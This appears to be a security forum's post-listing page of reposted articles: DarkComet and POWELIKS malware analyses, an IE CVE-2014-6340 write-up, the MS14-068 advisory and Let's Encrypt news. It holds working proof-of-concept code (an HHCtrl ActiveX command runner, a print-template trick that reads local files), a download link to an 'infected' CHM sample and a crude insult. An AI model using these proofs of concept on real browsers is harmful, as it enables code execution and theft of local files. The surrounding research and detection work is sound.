Jump to content

Nytro

Administrators
  • Posts

    18785
  • Joined

  • Last visited

  • Days Won

    738

Everything posted by Nytro

  1. 400 Hackers Are Defending NATO in a Massive Cyberwar Game November 18, 2014 // 05:52 PM EST ?These days—in the wake of persistent attacks from hostile actors—NATO is taking cyber war very seriously. It’s part of the reason why it’s beginning its largest cyber attack exercise ever today, to better prepare member nations for the modern digital battlefield. “This exercise will test our systems to make sure that NATO keeps pace with that evolving threat,” said Ambassador Sorin Ducaru, NATO Assistant Secretary General for Emerging Security Challenges. Over 400 personnel from across alliance nations will be participating in the exercise from the comfort of their home countries. Though the drills will aim at combating threats in an organized bloc. In the last year alone, hackers from suspected enemy states have stolen sensitive intelligence from NATO networks, or in the case of Chinese spies in July—valuable Canadian scientific research and development—from right under the noses of intelligence agencies. According to Ducaru the “the cyber threat” isn’t simply one-off attacks, either. Instead, hackers exploiting NATO systems is a “daily reality,” requiring persistent international coordination to combat the threat. For NATO, the exercises are all about improving efforts and communication among member nations, “against a series of targeted cyber incidents involving a NATO mission network.” As in, when NATO is attacked, it sets off alarm bells for the alliance to properly engage potential attackers. This exercise will test our systems to make sure that NATO keeps pace with that evolving threat And there’s no mistaking how seriously NATO sees new digital enemies. In the words of the most powerful military collective in the world, cyber attacks are potentially “as harmful to modern societies as a conventional attack.” But attacks on NATO infrastructure are nothing new. During tensions over Crimea in March, NATO websites and social media accounts were attacked by pro-Russian hackers. Then again in October, with hostilities still simmering with the Vladimir Putin regime, NATO computers were exploited by Russian hackers who went on to access networks in the White House. In a proactive move, NATO looks to be interested in upgrading its computer technologies, potentially in an effort to modernize its systems to be more secure. In two separate requests for contracts in the US and Canada, NATO is asking for expertise in an effort for “Modernization and Rationalization of the NATO Technology Infrastructure.” The plan is for 44 sites to be upgraded into cloud-based technologies over the next few years, with private consultants providing key expertise. The latest NATO exercises come on the heels of real world military exercises in Ukraine in September, along with ongoing deployments of NATO troops in Poland. All those efforts are largely seen as acts of solidarity with regional powers opposing Russia. Ultimately, with a growing list of enemy actors exploiting NATO networks, it really is high time the western military alliance sharpen its cyber defense skills before another intelligence loss, or worse. Sursa: http://motherboard.vice.com/read/nato-is-sharpening-its-cyber-war-defenses
  2. Legiunea pulii. Copii prosti.
  3. In numele fisierului: "infected". Merge. Si functioneaza asa: <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=",cmd.exe,/c calc ,"> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> Acel classid identifica HHCtrl Object, un ActiveX numit IE HTML Help Control.
  4. POWELIKS Levels Up With New Autostart Mechanism by Roddell Santos (Threats Analyst) Last August, we wrote about POWELIKS’s malware routines that are known for hiding its malicious codes in the registry entry as part of its evasion tactics. In the newer samples we spotted, malware detected as TROJ_POWELIKS.B employed a new autostart mechanism and removes users’ privileges in viewing the registry’s content. As a result, users won’t be able to suspect that their systems are already infected by the POWELIKS malware. This new autostart technique is fairly new to the threat landscape, a technique that is not currently covered by Autoruns for Windows. This Windows utility shows all files and registries that will execute upon Windows startup. When executed, POWELIKS creates the following registry entry: [HKEY_CURRENT_USER\Software\Classes\clsid\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32] (Default)=”rundll32.exe javascript:\”\\..\\mshtml,RunHTMLApplication \”;eval…….” a=”#@~^XHoAAA=……” Normally, users will see the following screenshots via the registry editor: Figure 1: The created key of Poweliks Based on the above screenshot, it would seem that the malware isn’t present in the registry. However, the contents of the POWELIKS malware is actually hidden and successfully hides its code by removing the user’s permission in the specific registry. Figure 2: User’s permission profile Best Practices: How to add permissions Users can navigate their way around this malware technique and view the registry content by adding the user name or group to the registry key’s permission section. This can be done via the following steps: Open Registry Editor Go to the registry key HKCU\Software\Classes\clsid On the left panel, right click {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} Highlight the user name In the “Allow” section, select “Full Control” and “Read” (see Figure 3) Click “OK” to save changes Close Registry Editor, then open it again to reflect the changes Figure 3: Updated user’s permission profile Once done, the malware will now be visible as shown below: Figure 4. The visible malware code When the malware creates an entry in HKCU\SOFTWARE\Classes\CLSID, Windows reflects this entry in HKCR\CLSID as shown below. Figure 5. The updated HKCR\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} key Why this CLSID? CLSID is not a known autostart entry. So, why did cybercriminals opt to use this registry and not the typical autostart entries? This CLSID is for Window’s thumbnail cache, which Windows calls whenever a thumbnail for any file is needed – for images, audio, etc. As such, when this CLSID is called, it will execute the entry in HKCR\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 to show the thumbnail of the file as well as the entry of POWELIKS in this key. This in turn, loads POWELIKS every time, as seen in the screenshot below: Figure 6: POWELIKS uses dllhost.exe to load itself on the system. Each dllhost.exe indicates a running POWELIKS. Best Practices: Manual Removal While this threat is continuously evolving as seen in the new evasion tactic, it can be manually removed from the systems via the following steps: Download and execute Microsoft’s Process Explorer Restart in Safe Mode. Select the latest dllhost.exe mother process (see Figure 7) Figure 7: Terminating the dllhost process Right click and select “Kill Process Tree” Open Registry Editor (Run > regedit.exe) In the left panel, go to HKCU\SOFTWARE\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} Add Permissions to the user (see instructions on Adding Permission) In the right panel, delete the registry values “Default” and “a”. The whole CLSID cannot be deleted because of the presence of the blank key. If this is successful, the registry should look like this: Figure 8: Clean registry entries In the event that these values are recreated, it just means that POWELIKS is still running. Repeat step 3 to ensure that no dllhost.exe is still running. Close Registry Editor Conclusion The POWELIKS malware poses serious risks as its routines prevent it from being detected and removed from systems. In addition, one of its payloads is click fraud. To check if your systems are infected by this threat, perform the suggested removal actions on your systems. We also recommend users to install a security software that can detect such malicious files. Trend Micro protects users from this threat via the Trend Micro Smart Protection Network that detects the said malware.The following is the related hash for this threat: F2E179CB7307DF6190A783D5B72F1905C6F3BA3B – TROJ_POWELIKS.B With additional analysis from Ohlord Gagto Sursa: POWELIKS Levels Up With New Autostart Mechanism
  5. Run calc.exe via open Chm file, no UAC warning and no av detects! Sample : https://mega.co.nz/#!tRkkFLwY!vwwya5sF3btFVnItOeV7-VN7402uMhlaCAEPjiZy-og
  6. Reversing Multilayer .NET Malware Talos Group | November 18, 2014 at 9:03 am PST This post was authored by Dave McDaniel with contributions from Jaeson Schultz Recently, we came across a malware sample that has been traversing the Internet disguised as an image of a woman. The malware sample uses several layers of obfuscation to hide its payload, including the use of steganography. Steganography is the practice of concealing a message, image, or file within another message, image, or file. Steganography can be used in situations where encryption might bring unwanted attention. Encrypted traffic from an unusual source is going to draw unwanted attention. Steganography allows malicious payloads to hide in plain sight. It also allows the attacker to bypass security devices. In our sample malware, steganography is used to decrypt and execute a second dropper, which in turn installs a user-land rootkit to further hide its intentions. The rootkit adds another layer of obfuscation by installing a DarkComet backdoor, using RC4 encryption to encrypt its configuration settings and send data to its command and control server. Table of Contents General Info First Level Dropper Second Level Dropper The Back Door -- Dark Comet Decrypting the Traffic Conclusion General Info Malware sample -- ADA8229CE99B8386E89EB94ECAB678AE79C8638B3EAF3532B847CFF2B201C232 Upon execution, an image of a woman appears in the default image viewer for the user: Followed by a very interesting crash message: Which is followed by some cryptic TCP traffic (these same 22 bytes are sent over and over again). It also contains a keylogger which logs to a file: C:\Documents and Settings\UserApplication\Datadclogs<date>.dc (Keylog data) Which contains log data such as: ——————————————————————————- :: 393013_247495955389874_580132800_n.jpg -- Windows Picture and Fax Viewer (1:15:03 PM) :: Clipboard Change : size = 6 Bytes (1:15:03 PM) dclogs :: My Documents (1:15:29 PM) :: dclogs (1:15:33 PM) :: Clipboard Change : size = 47 Bytes (1:15:33 PM) C:\Documents and Settings\User\Application Data :: Program Manager (1:15:36 PM) [F2] :: 010 Editor -- C:\Documents and Settings\User\Application Datad\clogs2014-09-12-5.dc (1:15:56 PM) :: Clipboard Change : size = 27 Bytes (1:15:56 PM) ILSpy.SharpDevelop.LGPL.dll ——————————————————————————- CFF Explorer shows that this executable is written in .NET. Using a tool called ILSpy, you can decompile a .NET executable (or at least recover the obfuscated code) to Classes and namespaces. Each namespace is denoted by a {} with Classes under the namespaces. In this case, the program is heavily obfuscated and broken down like this: {} AliXiRNztXCigLKx Class Form1 Class MSTLoAuWUAMXT Class mWYMsmhuVo: Button Event OnClick() [*] Byte array cMuKPyMylNpcpWwcT [*] Function static byte[] JEKrxMYreXhFJ(byte[] ngIGsZoXRnTDjRXgM, byte[] cMuKPyMylNpcpWwcT) [*] Function static byte[] ZTfHKdaSogeSCNqp(Bitmap WikhBwotOOwRPTwNg) Here is a quick view of what Form1 looks like. Form1 is where this malware begins execution. Note the arrows point to the areas mentioned above. The First Level Dropper -- Obfuscated .NET To determine order of execution, it is helpful to copy and paste each important class/function into a single document. Saving the reader time, here is the cleaned up, de-obfuscated code to show only the important sections: The Dropper -- Order of Operations To best understand what is happening behind the scenes with the dropper, breaking it down into steps is often helpful. 1. If you examine Form1’s Load() function, there is a call to this.myButton.PerformClick(). 2. PerformClick() triggers an OnClick() event that will load a bitmap from the resource section with loadBitmap(). 3. loadBitmap() creates an array that is the size of myBitmap.Width * myBitmap.Height * 4. The reason for this is because of how bitmaps are stored (which I will get to in a few moments) Within this function, the first steps create a rectangle and then an object of type BitmapData. Then a call to Marshal.Copy copies data to the array starting at a position called Scan0): Marshal.Copy(bitmapData.Scan0, array, 0, array.Length); According to MSDN, BitmapData.Scan0 gets or sets the address of the first pixel data in the bitmap. The question now becomes, where is the first pixel of the bitmap and what determines where that pixel is? This is a great time to talk about bitmaps and how they are structured. The Bitmap Structure and Determining the First Row The dropper code references an image in the resource section called nozQEZkPzmBAIC. Since that is the only image in the resource section, it should be easy to spot. You can pull the image from the executable with ILSpy. Just look for the image name in the resource section and click “save”: Well that image looks interesting. Let’s fill the image header structure with the data from this image. 010 Editor is great for this. On the right is the bitmap structure and on the left is that structure applied to the image that was just extracted and saved. It is important to note the biBitCount of the bitmap image. 32 bits means that each pixel is defined by that many bits. MSDN says, “The value for blue is in the least significant 8 bits, followed by 8 bits each for green and red. The high byte in each DWORD is not used.” The member, biWidth is the width of the bitmap, in pixels. So in this bitmap, each row is really 462 * 4 (0x738) bytes wide since it is a 32-bit bitmap. biHeight is simply the number of pixels high (the biBitCount doesn’t matter here). So the entire bitmap size minus the header can be summed up as 462 * 462 * 4 bytes in size or 853776. Once this size is determined, the direction in which the data is read can be inferred. According to the same MSDN page: “If biHeight is positive, the bitmap is a bottom-up DIB and its origin is the lower-left corner. If biHeight is negative, the bitmap is a top-down DIB and its origin is the upper-left corner.” The height in this bitmap is positive, so it will be read from the bottom up (This is where BitmapData.Scan0 will point to). To get the last row, you can simply subtract the row size from the end of the file (unless there is padding). To get a more accurate address, just perform the following math (note that I convert biBitCount to bytes): So the offset that BitmapData.Scan0 points to in this file is 0xD000E. This is very important if you want to write a decryptor. The Dropper -- Order of Operations (Continued) 3. After loadBitmap() retrieves the pointer to the first row of bitmap data, it is copied to an array one row at a time, skipping the first 4 bytes of the first row and returning the new array. Array.Copy(array, 4, array2, 0, array2.Length); 4. After the array is returned the decodeBitmap() function is called. This function runs a simple XOR against a static, 11-byte key, starting at byte[4] of the “first” row of the bitmap. To see this in action, just take the first 11 bytes of the first row (after skipping 4 bytes) and XOR them against the key. Look familiar? That is definitely looking like a PE32 header. Taking this information, I quickly wrote a tool to decrypt this image into the dropped binary using the headers found on MSDN and the simple XOR key. The Second-Level Dropper: The Kazy Rootkit Installer Previously, we dove into decrypting and running an executable from a bitmap loaded from the resource section of a .NET executable. Opening this newly dropped executable in ILSpy, it appears to contain global configuration variables for the Kazy Rootkit. That explains the “Kazy Invoker” crash error message found earlier (not necessarily why it crashed though). There are a lot of options contained within this new executable that include process/registry hiding as well as process elevation techniques: This rootkit takes advantage of userland APIs such as this to detect Wireshark: It also uses other simple techniques like this to hide files: Not super interesting. Normally, it would appear that this kit uses the webClient class to download files contained in a list called “DownNames”. It then executes that file with ZoneId=2 (downloaded from a trusted site): But that list is empty… So where in the world is the network traffic coming from and what are those 22 bytes? Let’s take a look at what appears to be a second file that is dropped and executed. The Second Level Dropper -- Unpacking the Resources Displaying the Image to the Victim A few steps into the Main function a resource is retrieved from the resource section and executed. This is the gzipped image of a woman that popped up earlier. Saving this resource and then opening it in a 7-Zip will reveal the actual JPG. Unpacking the ‘INVOKER’ resource The next section used from the resource area is called ‘INVOKER’ and it is basically the KAZY executable. It is not compressed and is just sitting in the resource section (.NET executable). It is executed as csrss.exe with arguments specified in the dropper: Unpacking The ‘MAIN’ Resource This is followed by another function that retrieves, decompresses and executes the ‘MAIN’ in the resource section, decompresses it (if compressed), and then executes it. Knowing that this segment is compressed,( private static bool Compressed = true; ), and that it will inject the executable into itself ( private static string InjectLoc = “itself”; ); The Decompress() method (above) shows that this segment is likely just a gzip compressed segment of data. So just pull that out of the resource section. For some reason, ILSpy wasn’t allowing the extraction of this resource. You can save the ‘MAIN’ segment of the resource segment using another tool called .NET Reflector to pull this out of the resource section. The file header of this segment shows this with 0x1F8B as the file magic bytes: This is the GZIP file magic. 7Zip can open this with no problem: It appears UPX Packed based on the sections, unpacking upx is a snap: And we now have the unpacked executable from the resource section! It appears to be written with Delphi: Time to examine some strings. There are a lot of seemingly backdoor-related functions (including keylogging info for the file I mentioned at the beginning of this post) to be found in this binary: Comparing the strings found with other known malicious files tells us that this is likely the backdoor known as DarkComet. The Backdoor -- DarkComet Decrypting the Configuration This RAT uses a symmetrical key for RC4 encryption to send traffic that is based off of the version of DarkComet itself. For more information about how RC4 works in malware, please check out my post here. The key is generated in the following manner: #KCMDDC<version>#-890<password> Looking for the string KCMDDC in the binary does reveal the static part of the string (the version) but not the entire password. It is clear however, that this sample is DarkComet version 5.1: As a sidenote, since this is in Delphi, you can generate an IDC script to help with identifying functions in IDA with an excellent tool called Interactive Delphi Reconstructor: Once that is done, simply break at the main entry point and continue until a new thread is created. Break at the entry point of that thread: A new thread is created that performs the keylogging functionality. This function is setting the hook procedure with the WH_KEYBOARD_LL constant signifying a hook procedure that monitors keystroke messages: But that still doesn’t answer what the network traffic is. Setting breakpoints around the string “KCMDDC51” found earlier and watching for accesses to that data seems like a good place to start. Eventually, a routine is encountered that appeared to be the initialization of an SBox of size 0x100 (256) which implied that RC4 was used in this function. The SBox is scrambled and stored on the stack. The password “#KCMDDC51#890” is used to decrypt the stored settings which include the password that the sent data is encoded with. Here is the dump of the encrypted data: You can decrypt the data decrypted within the RC4 function just by using the key found earlier. The following is example output from an RC4 Decryptor written in Python: These are all of the DarkComet settings! Decrypting the Traffic So at this point, we have all the settings used for DarkComet to including what key the network traffic is encoded with (see:”PWD = gotogoa” above). Knowing from previous research on DarkComet that the traffic is encrypted as follows: #KCMDDC<version>#-890<password> which becomes #KCMDDC51#-890gotogoa We now have enough information to decrypt the 22 bytes I provided at the very beginning of this post: Just decrypt the 22 bytes using the key we found earlier: It turns out that this message was a #KEEPALIVE# signal this whole time. This is great for detection purposes because typical KEEPALIVE messages like these are submitted periodically to the C&C server. Catching this constant traffic is the best way to determine the infection because of how often the signal is repeated. Armed with this knowledge, we created coverage for Snort, CLAMAV and FireAMP: Snort Detection # This rule can be customized to cover all ports but without a content match, it will certainly be slow. alert tcp $HOME_NET any -> $EXTERNAL_NET 1604 ( \ msg:”MALWARE-CNC Win.Trojan.Darkcomet outbound keepalive signal sent”; \ flow:to_server,established; \ dsize:22; \ pcre:”/^[0-9A-Z]{22}$/”; \ detection_filter:track by_src, count 5, seconds 120; \ metadata:impact_flag red, policy security-ips drop; \ reference:url,www.virustotal.com/en/file/ada8229ce99b8386e89eb94ecab678ae79c8638b3eaf3532b847cff2b201c232/analysis/; \ classtype:trojan-activity; \ sid:31814; rev:1; \ ) ClamAV Detection Win.Trojan.Kazydropper:1:*:2809000006{5}6f1d00000a7409000001{21}281e00000a6f1f00000a Win.Trojan.Kazyinvoker:1:*:4b0061007a00790049006e0076006f006b0065007200 FireAMP Detection Name: W32.Auto.ada822.MASH.RT.SBX.VIOC Conclusion In researching this malware we noted several layers and techniques to hide its payload, including steganography to decrypt/execute a second dropper (a malicious binary who’s purpose is to download/install additional malicious programs), a userland rootkit, a DarkComet backdoor with RC4 encryption, and Dynamic DNS for C&C traffic. Attackers will continue to employ these kinds of obfuscation techniques in an attempt to avoid detection as well as making it more difficult to reverse engineer. Network administrators will need to remain vigilant with timely signature updates to their security devices to ensure coverage and protection against these more research intensive techniques. Sursa: Reversing Multilayer .NET Malware
  7. [h=3]Following memory history with REVEN-Axion[/h] When working on traces of millions of instructions, one of the biggest challenges can be to detect the small portions of the code that are actually interesting. In this article, we have an application that reads from the network. We will show how to quickly find where the network frames are used, and if it is possible to cause a buffer overflow by writing more data than is allocated. As an example, we'll be analyzing the following command: wget -O /dev/shm/result.html http://192.168.56.1/index.html We've set the output to shared memory so that the scenario can be smaller and have less unrelated kernel events. [h=2]Search: hardware devices[/h] Since our point of interest is the network traces, we start by searching the device accesses of the network card. We're looking for PCI writes here, since the network card writes to the physical RAM. One interesting PCI write we can find is the one that find its way into the hard drive: the response of the web server. This following image shows the overview of the device accesses during the executed scenario. Here, we're interested in the last PCI write, so let's select it in the combo box. We can see that at sequence 142546, there is a PCI write to physical address 0x639f040. In 32 bits Linux, this is mapped in kernel space at the linear address 0xc639f040. [h=2]Memory dump[/h] Let's request to see the contents of the memory right after the PCI write. Here, we find what looks like a normal Ethernet dump of an HTTP request. Let's dump into a file using the integrated Python console: Let's open it in Wireshark after converting it to a proper format using the hd command: This confirms that we've found a complete Ethernet frame, and that we can browse it using other tools. With some scripting, we could even rebuild the entire communication between the two hosts, as if we had listened to the interfaces the whole time. [h=2]Memory history[/h] Now, let's look for a potential buffer overflow. We have a PCI buffer that is written, we need to find where it is read from. To display where and when an address is used, just check "Show access history": I've selected the H of HTTP so that we may find the user code parsing the HTTP header. We can also see the kernel code parsing the Ethernet headers if we monitor other parts of this frame. The first write corresponds to the PCI write. That's why there is no logical address for the write: it was not done using logical addressing, but it was caused by a PCI access directly into the RAM. We can see that the PCI bus writes 560 bytes in one batch (which is why I've exported a file with 560 bytes earlier). There are three other reads here. The first one leads to a read inside an IRQ (this is IRQ 10, which is mapped at vector #3a) If we double-click the first one, we get this stack trace: Actually, in this case, the IRQ handler is just comparing the checksum of the received data with the checksum received in the TCP header. It is not particularly interesting here, unless we're looking for kernel bugs. Let's take a look at the next read from this kernel buffer: In the backtrace widget, we can see that userspace called the recv syscall. By clicking the parent sequence at 143290, we could find the parent trace. But before doing this, we should locate where the buffer is written. By looking at the assembly code for the function __copy_user_intel, it is quite clear that the source is in ESI and the destination in EDI, the counter in ECX in bytes, just like a REP MOVSB. Since we want to know where the memory is written to, let's follow the memory pointed by EDI, at 0x80aaf72 in our example. [h=2]Previous / next[/h] By double-clicking DWORD PTR [EDI] on the 5th instruction, we can quickly see the content of this memory and access its history if wanted, just like before. There is a even quicker way, though. By selecting the memory using F7 (first operand), we can navigate to its next read or next write. For example, let's say that we want to check for a possible overflow in the recv function. We'll have three things to check : - where does the length given to recv comes from, - where is the destination buffer allocated, and what is its size, - if both sizes are unrelated, is it possible to have an overflow and on which conditions. To find out where the length of recv comes from, the easiest way is to go through the backtrace to the recv call and to use the argument displaying feature of the backtrace: We can see that the parameters are: - socket: 0x4 - buf: 0x80aaf70 - len: 0x1ff - flags: 2 (MSG_PEEK) Note: since the flags are MSG_PEEK, we can expect another read to return the same data later (remember at the previous step, there was one more read from the PCI buffer). Once we know that the size if 0x1ff, the next objective is to know how it is calculated. The value was given by EDI, so let's see where it came from. We just have to press F8 (second operand) to select EDI. Then a click on previous (shortcut: Shift-N) leads me do its previous write. In this case, previous write is a pop. We can either use the "percent" plugin (see the associated blog post), or just go to the function start (assuming that nobody modifies the stack). Either way, we find the corresponding push, which is a push edi. Clicking once more on the previous write to EDI leads us to this memory read, that we can browse again with F8: We can request the previous write of the stack memory, and so on. After going up several times (using only F7/F8 and Shift-n), we finally reach the origin of the size: So the received size is static. It is always 200, and the only calculation done here is a -1, probably to be sure to keep a null terminating byte. The exact same steps can be taken with the buffer value, backtracking the pointer origin. We find that the pointer is allocated inside the same function that called recv, with the same size (obviously without the -1, this time). In this case, we can see clearly that an overflow is not possible, even if we could control the server side. [h=3]Second read[/h] Earlier, we noticed that the buffer was read one more time. Let's focus on this other read now. We know this read occurs at 145455. This is another copy_from_user call. The interesting part is that the backtrace now shows a read call: The arguments of the read are: - fd: 4 - buffer: 0x80aaf70 - length: 0x139 It is interesting that the length is not the same as before (0x200). We might be interested on how that particular size is computed. In particular, is it possible to make this size bigger that 0x200 ? After doing the same process again to the origin the length we can find that it is computed by substracting a pointer (let's call that pointer buf_end) returned by a function with the buffer start address. The interesting part of the buffer computation function is before the return value: The loop (red section) searches for a 0xa (newline character). It increases as long as eax doesn't go path edx. Once we find the string 0xa 0xd 0xa (\n\r\n), we return the pointer right after the 3 newlines (green section). Since we ensure that eax < edx, we can at most read up to edx + 2. In the "end of buffer" case (blue rectangle), if we're not at a newline, we return NULL. In the other case, we return the pointer to the right after the last newline character (with some code in case there are two newline characters). We cannot get past edx + 2 either. Here the interesting part is the central role of edx, which is probably near the end of buffer.Once again with the previous write feature, we can see that edx si computed as follows: edx = buf_start + size - 2 That explains why we could read up to edx + 2. Here, size is 0x1ea. It is bigger than 0x139, but why isn't it 0x1ff ? Let's go backwards a bit more. I'm going to spare you the details because I used the same process as before: 0x1ea is actually the return code from the recv function. This means that wget first uses recv with MSG_PEEK with 0x1ff as buffer size. Once it has its result, it re-reads the same data, but with only the length returned by recv (which is always less than the input size). This means that in the second read too, there are probably no obvious overflows to discover. By the way, the function we analyzed here merely looks for two newlines to detect the end of the headers in an HTTP request. [h=2]Conclusion[/h] Throughout this article, we analyzed a small part of the reception of wget. We saw how to quickly find the way data coming from the network is used. We can easily find where this data is read or erased, where the reception buffer is allocated and so on. This is a major tool within REVEN-Axion : the ability to view the memory history in both directions, up to the physical layer. PS: you'll find a global description of the REVEN technology here. Posted by Guillame Clément Sursa: Life at Tetrane: Following memory history with REVEN-Axion
  8. [h=2]Launching in 2015: A Certificate Authority to Encrypt the Entire Web[/h]November 18, 2014 | By Peter Eckersley Today EFF is pleased to announce Let’s Encrypt, a new certificate authority (CA) initiative that we have put together with Mozilla, Cisco, Akamai, IdenTrust, and researchers at the University of Michigan that aims to clear the remaining roadblocks to transition the Web from HTTP to HTTPS. Although the HTTP protocol has been hugely successful, it is inherently insecure. Whenever you use an HTTP website, you are always vulnerable to problems, including account hijacking and identity theft; surveillance and tracking by governments, companies, and both in concert; injection of malicious scripts into pages; and censorship that targets specific keywords or specific pages on sites. The HTTPS protocol, though it is not yet flawless, is a vast improvement on all of these fronts, and we need to move to a future where every website is HTTPS by default.With a launch scheduled for summer 2015, the Let’s Encrypt CA will automatically issue and manage free certificates for any website that needs them. Switching a webserver from HTTP to HTTPS with this CA will be as easy as issuing one command, or clicking one button. The biggest obstacle to HTTPS deployment has been the complexity, bureaucracy, and cost of the certificates that HTTPS requires. We’re all familiar with the warnings and error messages produced by misconfigured certificates. These warnings are a hint that HTTPS (and other uses of TLS/SSL) is dependent on a horrifyingly complex and often structurally dysfunctional bureaucracy for authentication. Let's Encrypt will eliminate most kinds of erroneous certificate warnings The need to obtain, install, and manage certificates from that bureaucracy is the largest reason that sites keep using HTTP instead of HTTPS. In our tests, it typically takes a web developer 1-3 hours to enable encryption for the first time. The Let’s Encrypt project is aiming to fix that by reducing setup time to 20-30 seconds. You can help test and hack on the developer preview of our Let's Encrypt agent software or watch a video of it in action here: Let’s Encrypt will employ a number of new technologies to manage secure automated verification of domains and issuance of certificates. We will use a protocol we’re developing called ACME between web servers and the CA, which includes support for new and stronger forms of domain validation. We will also employ Internet-wide datasets of certificates, such as EFF’s own Decentralized SSL Observatory, the University of Michigan’s scans.io, and Google's Certificate Transparency logs, to make higher-security decisions about when a certificate is safe to issue. The Let’s Encrypt CA will be operated by a new non-profit organization called the Internet Security Research Group (ISRG). EFF helped to put together this initiative with Mozilla and the University of Michigan, and it has been joined for launch by partners including Cisco, Akamai, and Identrust. The core team working on the Let's Encrypt CA and agent software includes James Kasten, Seth Schoen, and Peter Eckersley at EFF; Josh Aas, Richard Barnes, Kevin Dick and Eric Rescorla at Mozilla; Alex Halderman and James Kasten and the University of Michigan. Sursa: https://www.eff.org/deeplinks/2014/11/certificate-authority-encrypt-entire-web
  9. When's document.URL not document.URL? (CVE-2014-6340) I don't tend to go after cross-origin bugs in web browsers, after all XSS* is typically far easier to find (*disclaimer* I don't go after XSS either), but sometimes they're fun. Internet Explorer is a special case, most web browsers don't make much of a distinction between origins for security purpose but IE does. Its zone mechanisms can make cross-origin bugs interesting, especially when it interacts with ActiveX plugins. The origin *ahem* of CVE-2014-6340 came from some research into a site-locking ActiveX plugin. I decided to see if I could find a generic way of bypassing the site-lock and found a bug in IE which has existed since at least IE6. Let's start with how an ActiveX control will typically site-lock, as in only allow the control to be interacted with if hosted on a page from a particular domain. When an ActiveX control is instantiated it's passed a "Site" object which represents the container of the ActiveX control. This might be through implementing IObjectWithSite::SetSite or IOleObject::SetClientSite. When passed the site object the well know way of getting the hosting page's URL is to call IHTMLDocument2::get_URL method with code similar to the following: IOleClientSite* pOleClientSite; IOleContainer* pContainer; pOleClientSite->GetContainer(&pContainer); IHTMLDocument2* pHtmlDoc; pContainer->QueryInterface(IID_PPV_ARGS(&pHtmlDoc)); BSTR bstrURL; pHtmlDoc->get_URL(&bstrURL); // We now have the hosting URL. Anything which is based on the published Microsoft site-locking template code does something similar. So we can conclude that for a site-locking ActiveX control the document.URL property is important. Even though this is a DOM property it's at the native code level so you can't use Javascript to override it. So I guess we need to dig into MSHTML to find out where the URL value comes from. Bringing up the function in IDA led me to the following: One of the first things IHTMLDocument2::get_URL calls is CMarkup::GetMarkupPrintUri. But what's most interesting was if this returned successfully it exited the function with a successful return code. Of course if you look at the code flow it only enters that block of code if the markup document object returned from CDocument::Markup has bit 1 set at byte offset 0x31. So where does that get set? Well annoyingly 0x31 is hardly a rare number so doing an immediate search in IDA was a pain, still eventually I found where you could set it, it was in the IHTMLDocument4::put_media function: Still clearly that function must be documented? Nope, not a bit of it: Well I could go on but I'll cut the story short for sanity's sake. What the media property does is set whether the document's currently a HTML document or a Print template. It turns out this is an old property which probably should never be used, but is one of those things which's kept around for legacy purposes. As long as you convert the current document to a print template using the OLECMDID_SETPRINTTEMPLATE command to ExecWB on the web browser this code path will execute. The final step is working out how you influence the URL property. After a bit of digging you'll find the following code in CMarkup::FindMarkupPrintUri. Hmm well it seems to be reading the attribute __IE_DisplayURL from the top element of the document and retuning that as the URL. Okay let's try that, using something like XMLHttpRequest to see if we can read local files. For example: <html __IE_DisplayURL="file:///c:/"> <body> <h1> PoC for IE_DisplayURL Issue</h1> <object border="1" classid="clsid:8856f961-340a-11d0-a96b-00c04fd705a2" id="obj">NO OBJECT</object> <script> try { // Set document to a print template var wb = document.getElementById("obj").object; wb.ExecWB(51, 0, true); // Enable print media mode document.media = "print"; // Read a local file var x = new ActiveXObject("msxml2.xmlhttp"); x.open("GET", "file:///c:/windows/win.ini", false); x.send(); alert(x.responseText); // Disable again to get scripting back (not really necessary) document.media = "screen"; } catch(e) { alert(e.message); } </script> </body> </html> This example only work when running in the Intranet Zone because it requires the ability to script the web browser. Can it be done from Internet Zone? Probably ;-) In the end Microsoft classed this as an Information Disclosure, but is it? Well probably in a default installation of Windows. But mix in third-party ActiveX controls you have yourself the potential for RCE. Perhaps sit back with a cup of *Coffee* and think about what ActiveX controls might be interesting to play with ;-) Posted by tiraniddo at 15:02 Sursa: Tyranid's Lair: When's document.URL not document.URL? (CVE-2014-6340)
  10. Additional information about CVE-2014-6324 swiat 18 Nov 2014 10:17 AM Today Microsoft released update MS14-068 to address CVE-2014-6324, a Windows Kerberos implementation elevation of privilege vulnerability that is being exploited in-the-wild in limited, targeted attacks. The goal of this blog post is to provide additional information about the vulnerability, update priority, and detection guidance for defenders. Microsoft recommends customers apply this update to their domain controllers as quickly as possible. Vulnerability Details CVE-2014-6324 allows remote elevation of privilege in domains running Windows domain controllers. An attacker with the credentials of any domain user can elevate their privileges to that of any other account on the domain (including domain administrator accounts). The exploit found in-the-wild targeted a vulnerable code path in domain controllers running on Windows Server 2008R2 and below. Microsoft has determined that domain controllers running 2012 and above are vulnerable to a related attack, but it would be significantly more difficult to exploit. Non-domain controllers running all versions of Windows are receiving a “defense in depth” update but are not vulnerable to this issue. Before talking about the specific vulnerability, it will be useful to have a basic understanding of how Kerberos works. One point not illustrated in the diagram above is that both the TGT and Service Ticket contain a blob of data called the PAC (Privilege Attribute Certificate). A PAC contains (among other things): The user’s domain SID The security groups the user is a member of When a user first requests a TGT from the KDC, the KDC puts a PAC (containing the user’s security information) into the TGT. The KDC signs the PAC so it cannot be tampered with. When the user requests a Service Ticket, they use their TGT to authenticate to the KDC. The KDC validates the signature of the PAC contained in the TGT and copies the PAC into the Service Ticket being created. When the user authenticates to a service, the service validates the signature of the PAC and uses the data in the PAC to create a logon token for the user. As an example, if the PAC has a valid signature and indicates that “Sue” is a member of the “Domain Admins” security group, the logon token created for “Sue” will be a member of the “Domain Admins” group. CVE-2014-6324 fixes an issue in the way Windows Kerberos validates the PAC in Kerberos tickets. Prior to the update it was possible for an attacker to forge a PAC that the Kerberos KDC would incorrectly validate. This allows an attacker to remotely elevate their privilege against remote servers from an unprivileged authenticated user to a domain administrator. Update Priority Domain controllers running Windows Server 2008R2 and below Domain controllers running Windows Server 2012 and higher All other systems running any version of Windows Detection Guidance 